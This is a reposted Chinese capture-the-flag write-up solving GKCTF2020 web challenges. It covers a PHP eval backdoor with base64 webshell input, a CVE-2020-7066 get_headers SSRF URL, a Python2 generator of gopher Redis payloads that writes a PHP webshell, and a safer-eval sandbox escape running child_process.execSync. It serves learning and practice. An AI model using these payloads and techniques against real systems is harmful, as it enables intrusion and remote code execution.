刷题[GKCTF2020]

Posted karsa

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了刷题[GKCTF2020]相关的知识,希望对你有一定的参考价值。

[GKCTF2020]CheckIN

解题思路

打开直接是源码:

<title>Check_In</title> 
<?php  
highlight_file(__FILE__); 
class ClassName 
{ 
        public $code = null; 
        public $decode = null; 
        function __construct() 
        { 
                $this->code = @$this->x()[‘Ginkgo‘]; 
                $this->decode = @base64_decode( $this->code ); 
                @Eval($this->decode); 
        } 

        public function x() 
        { 
                return $_REQUEST; 
        } 
} 
new ClassName();

直接是代码执行,没有过滤,只是base64编码了ginkgo传入的参数.那么我们直接蚁剑连接shell.

eval($_POST["pass"]);

ZXZhbCgkX1BPU1RbInBhc3MiXSk7
技术图片

正好与我前面的一篇博客相类似:

看到根目录下有flag和readflag文件,同时flag文件为空,readflag文件为二进制执行文件。打开虚拟终端无权限使用/readflag

技术图片
技术图片

php-gc-bypass

poc地址

pwn("/readflag");

把poc放在/tmp目录中(一般都可写入文件),访问include("/tmp/123.php");,使用Ginkgo传参访问,即可获得flag

知识点

php_bypass_disable_functions

[GKCTF2020]cve版签到

解题思路

有hint:cve-2020-7066,就是不知道是刚开始就有的,还是后面放出来的,如果不知道这个CVE可能会卡着。

cve描述

题目描述You just view *.ctfhub.com。结合cve可知,get_headers()函数存在漏洞,使用%00即可截断,上面网页中也有例子。"http://localhost.example.com";截断后,其实访问的是localhost.那么payload就很明显了直接构造

http://11f22866-0e4a-4964-aefa-62d81d755716.node3.buuoj.cn/?url=http://localhost.ctfhub.com

技术图片

结尾只能是123

技术图片

知识点

cve-2020-7066

[GKCTF2020]老八小超市儿

解题思路

打开网页一看是cms,我的第一反应是直接网上寻找有没有现成的渗透思路

直接搜索ShopXO v1.8.0漏洞

渗透测试|shopxo后台全版本获取shell复现 跟着走一遍即可,挺简单的,应该没什么问题

[GKCTF2020]EZ三剑客-EzWeb

解题思路

打开网页写了个提交按钮,看样子是跳转url,简单尝试下无果,127.0.0.1应该是在黑名单里了。查看源码,发现?secret,在框里提交,没用。再尝试在url上提交,发现给了IP地址。考虑内网渗透

技术图片

c段扫描,发现在173.136.207.11下开启服务。
技术图片

此时,使用burpsuite,扫描端口
技术图片

如果报错429说明访问太快,number of threads 设置小一点
技术图片

扫描发现开启6379端口,这里积累一下
常见端口:6379端口(redis)或3306端口(mysql

技术图片

ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf

import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="

<?php system("cat /flag");?>

"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="
"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

这是构造redis命令的,并转化为redis RESP协议的poc,在ip和port处添加,运行在python2环境下
技术图片

将生成的payload打在框里

访问173.136.207.11/shell.php,即可获得flag

知识点

  • ssrf
  • redis配合gopher协议getshell

博客

这里有一篇总结的非常好的师傅博文,可以看看

[GKCTF2020]EZ三剑客-EzNode

解题思路

看题目名字应该是node.js,进去是一个计算器。测试发现都是timeout,查看源码

app.use((req, res, next) => {
  if (req.path === ‘/eval‘) {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log(‘timeout‘);
      try {
        res.send(‘Timeout!‘);
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

解释这段代码:

调用express,写一个路由app.use。如果路径为eval,将delay赋值为60000,输出delay值。
将delay返回成一个整数,并判断如果是整数则返回true。返回delay的最大值。
如果执行的代码超过6s,才能执行/eval

interger超过2147483647可以使int溢出

技术图片
绕过成功

发现引用了一个库safer-eval,那我们先找下关于这个库的内容或漏洞。搜索发现CVE-2019-10759,safer-eval代码注入漏洞。需要safer-eval 1.3.2。查看版本发现safer-eval =1.3.6。不符合

在github中又发现有sandbox escape,关于沙箱逃逸,原型链污染,我还不是特别懂,这个人说了One can break out of the sandbox with the following code in node:,那通过此poc可以逃逸出沙箱

链接

技术图片

利用poc:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

即参数e的值等于process
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

技术图片

有师傅总结了相关内容,之后再学习:链接

知识点

沙箱逃逸

[GKCTF2020]EZ三剑客-EzTypecho

解题思路

点开网页,看着是要装一个Typecho软件,先跟着来。默认设置安装报错,“不,你不想安装”,一开始以为是自己电脑配置问题,一度怀疑人生,后面搜索,正好发现一篇文章
讲述install.php下,存在反序列化漏洞。跟着来,大同小异,跟着走,poc一打就差不多了

总结

本次比赛习题以已知的cve,软件,cms漏洞为主,主要是要会看师傅们的博客,搜索到相关的解题思路,exp,通过别人的exp学习。总结了搜索cve等漏洞的一些途径:国家信息安全漏洞共享平台,github,freebuf,https://bugs.php.net/
有很多的比赛都不是出的新题,以已知的漏洞为基础,进行一些变更,所以多看相关文章才是王道














以上是关于刷题[GKCTF2020]的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF MISC刷题笔记

buu-web刷题

GKCTF2020 - Check in

GKCTF2020 - Check in

2020/5/31 [GKCTF2020]Chelly’s identity

2020/5/31 [GKCTF2020]Chelly’s identity